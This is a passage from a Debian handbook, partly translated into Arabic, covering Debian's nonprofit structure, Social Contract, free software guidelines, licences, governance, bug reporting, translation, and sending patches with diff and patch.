1.1.3. إطار العمل القانوني: منظمة غير ربحية

من الناحية القانونية، دبيان هو مشروع تديره جمعية أمريكية تطوعية غير ربحية. في المشروع حوالي ألف Debian developer (مطور دبيان)، لكنه يلمُّ شمل عدد أكبر بكثير من المتطوعين (مترجمون، مبلغون عن العلل، فنانون، مطورون غير ملتزمون، الخ).

To carry its mission to fruition, Debian has a large infrastructure, with many servers connected across the Internet, offered and hosted by many sponsors.

مجتمع وراء دبيان: جمعية SPI، والفروع المحلية

Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest (SPI) association, which manages the hardware and financial aspects (donations, purchase of hardware, etc.). Although it was initially created specifically for the Debian project, this association now hosts other free software projects, especially the PostgreSQL database, Freedesktop.org (project for standardization of various parts of modern graphical desktop environments, such as GNOME and KDE Plasma), and the LibreOffice office suite.

→ https://www.spi-inc.org/

بالإضافة إلى SPI، تعمل جمعيات محلية مختلفة مع دبيان عن كثب لجمع الأموال لدبيان، دون مركزة كل شيء في الولايات المتحدة: تدعى هذه الجمعيات ”بالمُنظَّمات الموثوقة Trusted Organizations“ حسب المصطلحات الدبيانية. هذا التركيب يتفادى الرسوم الفاحشة عند تحويل الأموال دولياً، ويتناسب كثيراً مع الطبيعة اللامركزية للمشروع.

Do not hesitate to join your local association and support the project!

→ https://wiki.debian.org/Teams/Auditor/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. المستندات المؤسِّسة

بعد بضعة سنوات من الإطلاق الأولي للمشروع، صاغ دبيان المبادئ التي يجب أن يتبعها كمشروع برمجيات حرة. على كل مرشح يريد أن يصبح مطور دبيان أن يلتزم بالمبادئ المقررة في المستندات المؤسِّسة للمشروع، وأن يبرهن على دعمه وإخلاصه لها.

The development process is constantly debated, but these Foundation Documents are widely and consensually supported, thus rarely change. The Debian constitution also offers other guarantees for their stability: a three-quarter qualified majority is required to approve any amendment.

1.2.1. الالتزام تجاه المستخدمين

The project also has a “social contract”. What place does such a text have in a project only intended for the development of an operating system? It is quite simple: Debian works for its users, and thus, by extension, for society. This contract summarizes the commitments that the project undertakes. Let us study them in greater detail:

دبيان سيبقى حراً 100%

هذه هي القاعدة رقم واحد. دبيان كان وسيظل مؤلفاً بكامله من مكونات حرة حصراً. بالإضافة لذلك، كل البرمجيات التي تُطوَّر ضمن مشروع دبيان نفسه ستكون حرة أيضاً.

منظور ما هو أبعد من البرمجيات

The first version of the Debian Social Contract said “Debian Will Remain 100% Free Software”. The disappearance of this last word (with the ratification of Version 1.1 of the contract in April of 2004) indicates the will to achieve freedom, not only in software, but also in the documentation and any other element that Debian wishes to provide within its operating system.

لهذا التغيير — الذي كان المقصود منه أن يكون تغييراً تحريرياً — تداعيات كثيرة في الحقيقة، خصوصاً إزالة بعض الوثائق الإشكالية. بالإضافة لذلك، فإن الاستخدام المتزايد للبرمجيات المبيتة (firmware) في تعريفات الأجهزة يسبب المشاكل: فمعظمها غير حر، ومع ذلك فهي ضرورية لعمل القطع العتادية الموافقة لها بشكل سليم.

سوف ندعم مجتمع البرمجيات الحرة

أي تحسينات يدخلها مشروع دبيان على أعمال مضمنة في التوزيعة ترسل إلى مؤلف العمل الأساسي (يدعى ”المنبع – upstream“). بصورة عامة، سيتعاون دبيان مع المجتمع بدلاً من العمل في عزلة.

مجتمع مؤلف منبعي أو مطور دبيان؟

المصطلح ”upstream author“ يعني المؤلف أو المطور المنبعي (الأساسي) للعمل، وهو الذي يكتبه ويطوره. من جهة أخرى، يَستخدِم ”مطور دبيان“ (Debian developer) عملاً سابقاً ليحوله إلى حزمة دبيان (المصطلح ”مشرف دبيان Debian maintainer“ مناسب أكثر).

In practice, there can be overlaps between both roles: the Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program).

لن نخفي المشاكل

Debian is not perfect, and, there will be new problems to fix every day. Debian will keep its entire bug report database open for public view at all times. Reports that people file on-line will promptly become visible to others.

أولوياتنا مستخدمونا والبرمجيات الحرة

تحديد هذا الالتزام صعب. نتيجة لهذا يفرض دبيان الانحياز عندما تظهر الحاجة لاتخاذ القرار، حيث ترفض الحلول السهلة بالنسبة للمطورين إذا كانت تؤذي تجربة المستخدم، لصالح الحلول الأكثر أناقة حتى لو كان تنفيذها صعب. هذا يعني الأخذ بالاعتبار اهتمامات المستخدمين والبرمجيات الحرة كأولوية.

الأعمال التي لا توافق معاييرنا للبرمجيات الحرة

Debian accepts and understands that users may want to use some non-free programs. That is why the project allows usage of parts of its infrastructure to distribute Debian packages of non-free software that can safely be redistributed.

مجتمع مع أو ضد القسم غير الحر؟

الالتزام بصيانة بنية لاستضافة برمجيات غير حرة (القسم ”non-free“، انظر الملاحظة الجانبية مصطلحات الأقسام main، ‏contrib وnon-free) هو محل خلاف بين الحين والآخر ضمن مجتمع دبيان.

يحتج النقّاد بأن هذا القسم يبعد الناس عن البدائل الحرة، ويناقض مبدأ خدمة قضية البرمجيات الحرة فقط. أما الداعمون فيبيّنون بهدوء أن معظم الحزم غير الحرة هي ”حرة تقريباً“، ولا يوقفها إلا قيد واحد أو قيدين مزعجين (أكثرها شيوعاً حظر استخدام البرمجيات تجارياً). وبتوزيع هذه الأعمال في الفرع غير الحر، فنحن نوضح بشكل غير مباشر للمؤلف أن أعماله كانت ستشهر أكثر وتستخدم على نطاق أوسع لو وضعت في القسم الرئيسي. أي أننا بالتالي ندعوهم بأدب لتعديل رخصهم لخدمة هذا الهدف.

After a first and unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make).

إن بقاء القسم غير الحر يزعج مؤسسة البرمجيات الحرة كثيراً، وهو السبب الرئيسي الذي يجعلها ترفض تزكية دبيان رسمياً كنظام تشغيل حر.

1.2.2. مبادئ دبيان الاسترشادية للبرمجيات الحرة

يُعرِّف هذا المستند المرجعي البرمجيات ”الحرة بما يكفي“ لتضمينها في دبيان. إذا وافقت رخصة البرنامج هذه المبادئ، فيمكن تضمينه في القسم الرئيسي؛ وإلا فقد تجده في القسم غير الحر، شرط أن تسمح الرخصة بتوزيعه مجاناً. القسم غير الحر ليس جزءاً من دبيان رسمياً؛ بل هو خدمة إضافية يقدمها المشروع لمستخدميه.

بالإضافة لكون هذا النص يحدد معايير الاختيار في مشروع دبيان، فقد أصبح ذا شأن في قضية البرمجيات الحرة، إذا أنه خدم كأساس ”لتعريف المصادر المفتوحة“. أي أن هذا النص كان قديماً أحد أولى التعريفات الرسمية لمفهوم ”البرمجيات الحرة“.

The GNU General Public License, the BSD License, and the Artistic License are examples of traditional free licenses that follow the 9 points mentioned in this text. Below you will find the text as it is published on the Debian website.

→ https://www.debian.org/social_contract#guidelines

حرية إعادة التوزيع.  لا يمكن أن تمنع رخصة أحد مكونات دبيان أي جهة من بيع البرنامج أو توزيعه مجاناً ضمن توزيعة برمجيات مُجمَّعة تحوي برامج من مصادر متنوعة مختلفة. كما لا يجوز أن تفرض الرخصة إتاوة أو أي رسوم أخرى على عمليات البيع هذه.

الشفرة المصدرية.  يجب أن يتضمن البرنامج شفرته المصدرية، ويجب أن يسمح بتوزيعها بالإضافة لتوزيع الملفات التنفيذية.

الأعمال المشتقة.  يجب أن تسمح الرخصة بالتعديل وبناء أعمال مشتقّة، كما يجب أن تسمح بإعادة توزيع هذه التعديلات تحت شروط رخصة البرنامج الأصلي نفسها.

سلامة شفرة المؤلف المصدرية.  يحق للرخصة أن تُقيّد توزيع الشفرة المصدرية بشكل معدل فقط إذا كانت تسمح بتوزيع ”ملفات ترقيع“ مع الشفرة المصدرية وذلك لتعديل البرنامج أثناء بنائه. يجب أن تسمح الرخصة صراحة بتوزيع البرامج الناتجة عن بناء الشفرة المصدرية المُعدَّلة. قد تفرض الرخصة استخدام اسم أو رقم إصدار يختلف عن البرنامج الأصلي (هذا تنازل. تُشجِّع مجموعة دبيان جميع المؤلفين على عدم تقييد تعديل أي ملفات، سواء مصدرية أو تنفيذية).

عدم إقصاء أي أفراد أو مجموعات. .  يجب ألا تميّز الرخصة أي فرد أو مجموعة في المعاملة.

عدم إقصاء أي مجال تطبيقي.  يجب ألا تمنع الرخصة أحداً من استخدام البرنامج في مجال معين من مجالات التطبيقات. مثلاً، لا يمكن منع استخدام البرنامج في الشركات التجارية، أو استخدامه في الأبحاث الجينية.

توزيع الرخصة.  يجب أن تنطبق الحقوق المتعلقة بالبرنامج على جميع الأطراف التي يُوزَّع لها البرنامج دون الحاجة لأن تلتزم بأحكام أي رخص إضافية.

يجب ألا تكون الرخصة مخصصة لدبيان.  يجب ألا تعتمد الحقوق المتعلقة بالبرنامج على كون البرنامج جزءاً من نظام دبيان. إذا استُخرِج البرنامج من دبيان واستُخدِم أو وزّع خارج دبيان لكن بما يتفق مع أحكام رخصة البرنامج، فيجب أن تتمتع كل الأطراف التي يعاد توزيع البرنامج لها بالحقوق نفسها التي تعطى عندما يكون البرنامج مدمجاً في نظام دبيان.

يجب ألا تتعدى الرخصة على البرمجيات الأخرى.  لا يحق للرخصة فرض قيود على البرمجيات الأخرى التي توزّع مع البرنامج المرخّص. مثلاً، يجب ألا تُصِرَّ الرخصة على ضرورة أن تكون البرمجيات الأخرى الموزعة على الوسط نفسه برمجيات حرة.

أساسيات الحقوق المتروكة

مفهوم الحقوق المتروكة (copyleft) يعني استخدام قانون حقوق النشر لضمان حرية العمل ومشتقاته، بدلاً من تقييد حقوق الاستخدام، كما هي الحال في البرمجيات المحتكرة. كما أنه لعب على المصطلح ”copyright“. اقتبس ريتشارد ستولمن الفكرة من صديق له، مولع بالتلاعبات اللفظية، كتب له على ظرف إحدى الرسائل الموجهة له: ”copyleft: all rights reversed“. يفرض مبدأ الحقوق المتروكة حماية جميع الحريات الأولية عند توزيع نسخ أصلية أو معدلة من العمل (خصوصاً البرامج). بالتالي، لا يمكن توزيع برنامج ما على أنه برنامج احتكاري إذا كان مشتقاً من شفرة مأخوذة من برنامج منشور بحقوق متروكة.

The most well-known family of copyleft licenses is, of course, the GNU General Public License (GPL) and its derivatives, the GNU Lesser General Public License (LGPL), and the GNU Free Documentation License (GFDL). Sadly, the copyleft licenses are generally incompatible with each other. Consequently, it is best to use only one of them.

Example licenses.  The “GPL”, “BSD”, and “Artistic” licenses are examples of licenses that we consider “free”.

أساسيات الرخص الحرة

رخصة GNU GPL، ورخصة BSD، ورخصة Artistic كلها تتفق مع مبادئ دبيان للبرمجيات الحرة (Debian Free Software Guidelines)، رغم أنها تختلف عن بعضها كثيراً.

The GNU GPL, used and promoted by the FSF (Free Software Foundation), is the most common. Its main feature is that it also applies to any derived work that is redistributed: a program incorporating or using GPL code can only be distributed according to its terms. It prohibits, thus, any reuse in a proprietary application. This poses serious problems for the reuse of GPL code in free software incompatible with this license. As such, it is sometimes impossible to link a program published under another free software license with a library distributed under the GPL. On the other hand, this license is very solid in American law: FSF lawyers have participated in the drafting thereof, and have often forced violators to reach an amicable agreement with the FSF without going to court.

→ https://www.gnu.org/copyleft/gpl.html

The BSD license is the least restrictive: everything is permitted, including use of modified BSD code in a proprietary application.

→ https://www.opensource.org/licenses/bsd-license.php

Finally, the Artistic License reaches a compromise between these two others: integration of code in a proprietary application is permitted, but any modification must be published.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

The complete text of these licenses is available in /usr/share/common-licenses/ on any Debian system (in case of BSD the newer 3-Clause License).

مجتمع بروس بيرنز، قائد مثير للجدل

Bruce Perens was the second leader of the Debian project, just after Ian Murdock. He was very controversial in his dynamic and authoritarian methods. He, nevertheless, remains an important contributor to Debian, to whom Debian is especially indebted for the editing of the famous “Debian Free Software Guidelines” (DFSG), an original idea of Ean Schuessler. Subsequently, Bruce would derive from it the famous “Open Source Definition”, removing all references to Debian from it.

→ https://opensource.org/

كان رحيله عن المشروع عاطفياً جداً، لكن بقي بروس مرتبطاً بقوة مع دبيان، بما أنه يستمر في دعم التوزيعة في الأوساط السياسية والاقتصادية. لا يزال يظهر بين الفينة والأخرى على القوائم البريدية ليعطي نصائحه ويعرض آخر مبادراته لرعاية دبيان.

Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 (not released yet) — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor's child who always broke toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. العمليات الداخلية في مشروع دبيان

نتائج مشروع دبيان النهائية الكثيرة تنشأ من عمل مطوري دبيان الخبراء ومن عمل المطورين الفردي أو الجماعي على حزم دبيان، ومن ملاحظات المستخدمين.

1.3.1. مطوّرو دبيان

Debian developers have various responsibilities, and as official project members, they have great influence on the direction the project takes. A Debian developer is generally responsible for at least one package, but according to their available time and desire, they are free to become involved in numerous teams, thus acquiring more responsibilities within the project.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

أدوات قاعدة بيانات المطورين

Debian has a database including all developers registered with the project, and their relevant information (address, telephone, geographical coordinates such as longitude and latitude, etc.). Some of the information (first and last name, country, username within the project, IRC username, GnuPG key, etc.) is public and available on the Web.

→ https://db.debian.org/

تسمح معرفة الإحداثيات الجغرافية برسم خريطة تحدد مواقع جميع المطورين حول العالم. دبيان مشروع عالمي حقاً: حيث تجد مطوري دبيان في كل القارات، إلا أن الغالبية تتركز في ”الدول الغربية“.

شكل 1.1. توزُّع مطوري دبيان حول العالم

Package maintenance is a relatively regimented activity, very documented or even regulated. It must, in effect, comply with all the standards established by the Debian Policy. Fortunately, there are many tools that facilitate the maintainer's work. The developer can, thus, focus on the specifics of their package and on more complex tasks, such as squashing bugs.

→ https://www.debian.org/doc/debian-policy/

أساسيات صيانة الحزم، مهمة المطور

صيانة حزمة (أو الإشراف على حزمة) يقتضي ‒بادئ الأمر‒ ”تحزيم“ برنامج ما. بكلمات أدق، هذا يعني تعريف وسائل التثبيت بحيث يعمل هذا البرنامج ‒بعد تثبيته‒ ويتوافق مع القواعد التي يفرضها مشروع دبيان على نفسه. تُحفَظ نتيجة هذه العملية في ملف .deb. بعدها لن يحتاج التثبيت الفعلي للبرنامج سوى استخراج الملفات من هذا الأرشيف المضغوط وتنفيذ بعض سكربتات ما قبل أو ما بعد التثبيت التي تجدها داخله.

بعد هذه المرحلة الأولية، تبدأ دورة الصيانة فعلياً: تحضير التحديثات مع الالتزام بآخر تحديثات سياسة دبيان، إصلاح العلل التي يبلغ عنها المستخدمون، وتوفير نسخ ”منبعية“ جديدة من البرنامج التي تستمر في التطور على التوازي بطبيعتها. مثلاً، كان إصدار البرنامج عند التحزيم الأولي 1.2.3. بعد بضعة شهور من التطوير، أصدر المؤلفون الأساسيون نسخة مستقرة جديدة، رقمها 1.4.0. عند هذه اللحظة، يجب أن يُحدِّث مشرف دبيان الحزمة، حتى يستطيع المستخدمون الاستفادة من آخر نسخة مستقرة.

The Policy, an essential element of the Debian Project, establishes the norms ensuring both the quality of the packages and perfect interoperability of the distribution. Thanks to this Policy, Debian remains consistent despite its gigantic size. This Policy is not fixed in stone, but continuously evolves thanks to proposals formulated on the <debian-policy@lists.debian.org> mailing list. Amendments that are agreed upon by all interested parties are accepted and applied to the text by a small group of maintainers who have no editorial responsibility (they only include the modifications agreed upon by the Debian developers that are members of the above-mentioned list). You can read current amendment proposals on the bug tracking system:

→ https://bugs.debian.org/debian-policy

مجتمع عملية تحرير السياسة

Anyone can propose an amendment to the Debian Policy just by submitting a bug report with a severity level of “wishlist” against the debian-policy package. The process that then starts is documented in https://www.debian.org/doc/debian-policy/ap-process.html: if it is acknowledged that the problem revealed must be resolved by creating a new rule in the Debian Policy, a discussion begins on the <debian-policy@lists.debian.org> mailing list until consensus is reached and a proposal issued. Someone then drafts a desired amendment and submits it for approval (in the form of a patch to review). As soon as two other developers approve the fact that the proposed amendment reflects the consensus reached in the previous discussion (they “second” it), the proposal can be included in the official document by one of the debian-policy package maintainers. If the process fails at one of these steps, the maintainers close the bug, classifying the proposal as rejected.

سياسة دبيان التوثيق

تُخزَّن وثائق كل حزمة في /usr/share/doc/package/. يحوي هذا المجلد غالباً ملف README.Debian يصف التعديلات الخاصة بدبيان التي أجراها مشرف الحزمة. من الحكمة إذاً قراءة هذا الملف قبل تعديل أي شيء، حتى تستفيد من خبرته. كما تجد أيضاً ملف changelog.Debian.gz يبيّن التغييرات التي أجراها مشرف دبيان على الإصدارات السابقة. لا تخلط بين هذا الملف وبين الملف changelog.gz (أو ما يعادله)، الذي يبين التغييرات التي أجراها مطورو المنبع. يتضمن الملف copyright معلومات عن المؤلفين والرخصة التي تحمي البرنامج. أخيراً، قد تجد أيضاً ملفاً اسمه NEWS.Debian.gz، الذي يسمح لمطور دبيان بإيصال المعلومات المهمة المتعلقة بالتحديث؛ فإذا كان apt-listchanges مثبتاً، فسوف تعرض هذه الرسائل آلياً. أي ملفات أخرى ستكون خاصة بالبرنامج نفسه. خصوصاً المجلد الفرعي examples، الذي يحوي أحياناً أمثلة عن ملفات الضبط.

توفر السياسة تغطية معتبرة لمختلف نواحي عملية التحزيم التقنية. كما يسبب حجم المشروع أيضاً مشاكل تنظيمية؛ يعالج دستور دبيان (Debian Constitution) هذه القضايا. يحدد الدستور نظام وأساليب اتخاذ القرار. بكلمات أخرى، يحدد نظام حكم رسمي.

يُعرِّف هذا الدستور عدداً من الأدوار والمناصب، بالإضافة لمسؤوليات وصلاحيات كل واحد منها. من الجدير بالملاحظة أن مطوري دبيان يملكون دوماً السلطة النهائية في اتخاذ القرار عبر التصويت على استفتاء عام، حيث يجب الحصول على أغلبية مطلقة تبلغ ثلاثة أرباع (75%) الأصوات لإجراء التعديلات الكبيرة (كالتعديلات التي تؤثر على الوثائق المؤسِّسة). لكن المطورين ينتخبون سنوياً ”قائداً“ ليمثلهم في اللقاءات، ويضمن التنظيم الداخلي بين الفرق المختلفة. هذه الانتخابات هي فترة نقاشات محتدمة دائماً. منصب القائد هذا غير معرّف في أي مستند: يقترح المرشحون لهذا المنصب عادة تعريفهم الخاص لهذا الموقع. عملياً، تشمل أدوار القائد العمل كممثل إعلامي للمشروع، والتنسيق بين الفرق ”الداخلية“، وإرشاد المشروع بشكل عام، وذلك بما يرضي المطورين: فآراء قائد دبيان (DPL) تعكس وجهة نظر أغلبية أعضاء المشروع ضمنياً.

يتمتع القائد بسلطة حقيقية؛ فتصويته يرجح كفة التصويتات المتعادلة، ويستطيع اتخاذ أي قرار في أي موضوع لا يقع ضمن صلاحية أحد ويمكنه تفويض جزء من مسؤولياته للآخرين.

Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Mehdi Dogguy, Chris Lamb and Sam Hartman.

كما يعرف الدستور أيضاً ”لجنة تقنية“. دور هذه اللجنة الرئيسي هو البت في القضايا التقنية عندما لا يصل المطورون أصحاب العلاقة إلى اتفاق فيما بينهم. فيما عدا ذلك، تلعب اللجنة دوراً استشارياً لأي مطور لا يستطيع اتخاذ قرار يقع ضمن مسؤولياته. من المهم أن تلاحظ أنهم يتدخلون فقط عندما يدعوهم أحد أطراف العلاقة إلى التدخل.

أخيراً، يُعِّرف الدستور منصب ”سكرتاريا المشروع“، المسؤول عن تنظيم الأصوات في الانتخابات المختلفة والاستفتاءات العامة.

The “general resolution” procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. The most interesting aspect of that process is that when it comes to an actual vote, developers have to rank the different ballot options between them and the winner is selected with a Condorcet method (more specifically, the Schulze method). For further details see:

→ https://www.debian.org/devel/constitution

ثقافة حرب الكلام، النقاشات المشتعلة

”حرب الكلام“ هي جدالات شديدة الانفعال، التي تنتهي أغلب الأحيان بهجوم الناس على بعضهم بعد استنفاد كل الحجج المنطقية لدى الطرفين. بعض المواضيع تتحول غالباً إلى جدالات أكثر من غيرها (اختيار محرر النصوص، ”هل تفضل vi أو emacs؟“، هو مثال قديم). تثير هذه القضايا غالباً تبادلات بريدية سريعة جداً نتيجة الأعداد الغفيرة التي تريد إبداء رأيها بالموضوع (كل الناس) والطابع الشخصي لهذا النوع من الأسئلة.

لا ينتج أي شيء له فائدة خاصة عموماً من هكذا نقاشات؛ ننصحك عموماً بالبقاء خارج هذه الجدالات، وربما عليك المرور بمحتواها مرور الكرام، لأن قراءتها بالكامل ستضيع وقتاً كثيراً.

حتى لو كان هذا الدستور يقيم قواعد الديموقراطية، إلا أن الواقع اليومي يختلف كثيراً: يتبع دبيان طبيعياً قواعد الفعلوقراطية في البرمجيات الحرة: فالذي يفعل الأشياء هو من يقرر طريقة عملها. يمكن هدر وقت طويل في الجدال حول كفاءة الأساليب المختلفة لحل مشكلة ما؛ سيكون الحل الذي يقع عليه الاختيار هو أول حل يعمل بشكل صحيح ومرضٍ... وهذا الحل هو نتيجة الوقت الذي يبذله أحد الأشخاص الفاعلين في العمل.

هذه هي الطريقة الوحيدة للترقي في الرتب: افعل شيئاً مفيداً وأظهر أن عملك جيد. تعمل العديد من فرق دبيان ”الإدارية“ بطريقة الاستقطاب المشترك (co-optation، أي أن الأعضاء الجدد ينضمون بدعوة من الأعضاء الحاليين في الفريق)، حيث يفضل المتطوعون الذين كانت لهم مساهمات فعالة وأثبتوا جدارتهم. العمل الذي تعمله هذه الفرق علني بطبيعته، وهذا يسمح للمساهمين الجدد بالمراقبة والبدء بالمساعدة دون الحاجة لأي امتيازات خاصة. لذلك يوصف دبيان غالباً ”بالميريتوقراطية meritocracy“.

ثقافة الميريتوقراطية، سلطان العلم

الميريتوقراطية هي شكل من أشكال الحكم حيث تملك الطبقة الأكثر أهليّة زمام السلطة. في دبيان، الأهلية هي مقياس الكفاءة، التي تقيّم بمراقبة النشاطات السابقة للفرد أو لمجموعة ضمن المشروع (يتحدث ستيفانو زاتشيرولي، أحد قادة المشروع السابقين، عن ” الفعلوقراطية“، أي ”سلطة الذي ينفذون الأفعال“). مجرد حضور هؤلاء يثبت مستوى معين من الحرفية؛ فإنجازاتهم عموماً هي برمجيات حرة، وشفرتها المصدرية متاحة، التي يمكن أن يراجعها النظراء بسهولة لتقييم جودتها.

تضمن هذا الطريقة الفعالة في العمل كفاءة المساهمين في فرق دبيان ”المفتاحية“. هذه الطريقة ليست مثالية طبعاً ويظهر أحياناً من يرفض أسلوب العمل هذا. قد يبدو أن اختيار المطورين المقبولين في الفرق كأنه عشوائي قليلاً، أو غير منصف. بالإضافة لذلك، يختلف تعريف الخدمة المتوقعة من هذه الفرق بين الأفراد. بالنسبة لبعض الناس، لا يمكن أبداً أن يقبلوا بالانتظار ثمانية أيام لإضافة حزمة دبيان جديدة، بينما ينتظر آخرون بصبر لثلاثة أسابيع دون أن يشتكوا. لذلك، تظهر شكاوى منتظمة تتذمر من ”جودة خدمة“ بعض الفرق.

مجتمع انضمام المشرفين الجدد

أكثر الفرق انتقاداً في كل الأوقات هو الفريق المسؤول عن قبول المطورين الجدد. علينا أن نعترف أن دبيان ‒على مر السنين‒ قد رفع متطلباته أكثر فأكثر بالنسبة للمطورين الذين يقبلهم. قد يرى بعض الناس شيئاً من الظلم في ذلك، لكن لا بد أن نقرَّ بأن التحديثات التي كانت صغيرة في البداية قد أصبحت أعظم بكثير في مجتمع يضم أكثر من 1000 شخص عندما يتعلق الأمر بضمان جودة وتكامل كل شيء ينتجه دبيان لمستخدميه.

بالإضافة لذلك، تختتم عملية القبول بمراجعة فريق صغير لطلب الترشُّح، ألا وهو فريق المسؤولين عن حسابات دبيان (Debian Accounts Managers، أو DAM اختصاراً). هؤلاء المديرون إذن معرضون للنقد بالذات، لأنهم يملكون القول الفصل في ضم أو رفض متطوع ضمن مجتمع مطوري دبيان. عملياً، قد يضطرون أحياناً لتأخير قبول شخص ما حتى يتعرف أكثر على عمليات المشروع. يمكنك طبعاً المساهمة في دبيان قبل قبولك كمطور رسمي، إذا رعاك بعض المطورين الحاليين.

1.3.2. الدور الفاعل للمستخدمين

One might wonder if it is relevant to mention the users among those who work within the Debian project, but the answer is a definite yes: they play a critical role in the project. Far from being “passive”, some users run development versions of Debian and regularly file bug reports to indicate problems. Others go even further and submit ideas for improvements, by filing a bug report with a severity level of “wishlist”, or even submit corrections to the source code, called “patches” (see قسم 1.3.2.3, “Sending fixes”).

1.3.2.1. Reporting bugs

The fundamental tool for submitting bugs in Debian is the Debian Bug Tracking System (Debian BTS), which is used by large parts of the project. The public part (the web interface) allows users to view all bugs reported, with the option to display a sorted list of bugs selected according to various criteria, such as: affected package, severity, status, address of the reporter, address of the maintainer in charge of it, tag, etc. It is also possible to browse the complete historical listing of all discussions regarding each of the bugs.

تحت السطح، يعتمد نظام BTS على البريد الإلكتروني: كل المعلومات التي يخزنها تأتي من رسائل يرسلها الأشخاص أصحاب العلاقة. مثلاً، أي رسالة إلكترونية إلى <12345@bugs.debian.org> سوف تُضاف إلى محفوظات العلة رقم 12345. يحق لأصحاب السلطة ”إغلاق“ العلة عبر كتابة رسالة تبين أسباب قرار الإغلاق إلى <12345-done@bugs.debian.org> (تُغلَق العلة عندما تُحل المشكلة المطروحة أو عندما يتبين أنها ليست مشكلة فعلية). أما التبليغ عن العلل الجديدة فيكون بإرسال رسالة إلكترونية إلى <submit@bugs.debian.org> توافق الصيغة الخاصة التي تُعرِّف الحزمة التي تحوي العلة. يسمح العنوان <control@bugs.debian.org> بتحرير جميع ”المعلومات الفوقية“ (meta-information) لعلة ما.

The Debian BTS has other functional features, as well, such as the use of tags for labeling bugs. For more information, see

→ https://www.debian.org/Bugs/

مصطلحات خطورة العلة

تحدد خطورة العلة درجة خطورة المشكلة المبلغ عنها بالضبط. بطبيعة الحال، ليست كل العلل بالأهمية نفسها؛ مثلاً، خطأ مطبعي في صفحة دليل لا يقارن بثغرة أمنية في برنامج مخدم.

Debian uses an extended scale to describe the severity of a bug. Each level is defined precisely in order to facilitate the selection thereof.

→ https://www.debian.org/Bugs/Developer#severities

Users can also use the command line to send bug reports on a Debian package with the reportbug tool. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (by default, a remote one run by Debian, but reportbug can also use a local server).

تستهدف هذه الأداة النسخ التطويرية أولاً، حيث تصحح العلل هناك. بطبيعة الحال، التغييرات في النسخة المستقرة من دبيان غير محبذة، مع بعض الاستثناءات القليلة بالنسبة للتحديثات الأمنية أو التحديثات المهمة الأخرى (إذا لم تكن الحزمة تعمل مطلقاً على سبيل المثال). أما تصحيحات العلل الصغيرة في حزم دبيان فعليها الانتظار حتى إصدار النسخة المستقرة التالية إذن.

1.3.2.2. Translation and documentation

Additionally, numerous satisfied users of the service offered by Debian like to make a contribution of their own to the project. As not everyone has appropriate levels of expertise in programming, they may choose to assist with the translation and review of documentation. There are language-specific mailing lists to coordinate this work.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

أساسيات ما هي i18n و l10n؟

”i18n“ و ”l10n“ هما اختصاران للكلمتان ”internationalization“ (تدويل) و ”localization“ (توطين)، حيث يحتفظ بالحرفين الأول والأخير من الكلمة، ويوضع بينهما عدد الأحرف المحذوفة من وسط الكلمة.

”لتدويل“ برنامج ما يجب تعديله بحيث تصبح ترجمته (أو توطينه) ممكنة. هذا يحتاج إعادة كتابة جزئية للبرنامج إذا كان مكتوباً في البداية بحيث يعمل بلغة واحدة وذلك حتى يصبح فتحه لجميع اللغات ممكناً.

”توطين“ برنامج ما يعني ترجمة الرسائل الأصلية (غالباً تكون بالإنكليزية) إلى لغة أخرى. يجب أن يكون البرنامج مدولاً من قبل حتى نتمكن من تنفيذ هذه العملية.

خلاصة الكلام، التدويل هو تجهيز البرنامج للترجمة، التي تتم لاحقاً عبر التوطين.

1.3.2.3. Sending fixes

More advanced users might be able to provide a fix to a program by sending a patch.

الرقعة هي ملف يحدد التغييرات التي ستجرى على ملف مرجعي واحد أو أكثر. بكلمات أدق، سيحوي هذا الملف مجموعة سطور يجب إزالتها أو إضافتها إلى الكود، بالإضافة إلى سطور مأخوذة من النص المرجعي (أحياناً) توضع التعديلات في سياقها (هذا يسمح بمعرفة موقع التغييرات إذا تغيرت أرقام السطور).

تدعى الأداة المستخدمة لتطبيق التعديلات المعطاة في ملف من هذا النوع بالاسم patch. أما الأداة التي تنشئ هذه الملفات فهي diff، وهي تستخدم كما يلي:

$ diff -u file.old file.new >file.patch

يحوي الملف file.patch التعليمات اللازمة لتحويل محتوى file.old إلى file.new. يمكننا إرساله إلى شخص آخر، وعندها سيتمكن من استخدامه لإعادة توليد file.new من الملفين الآخرين، كالتالي:

$ patch -p0 file.old <file.patch

أصبح الملف file.old مماثلاً للملف file.new الآن.

In practice, most software is maintained in Git repositories and contributors are thus more likely to use git to retrieve the source code and propose changes. git diff will generate a file in the same format as what diff -u would do and git apply can do the same as patch.

ثقافة Git

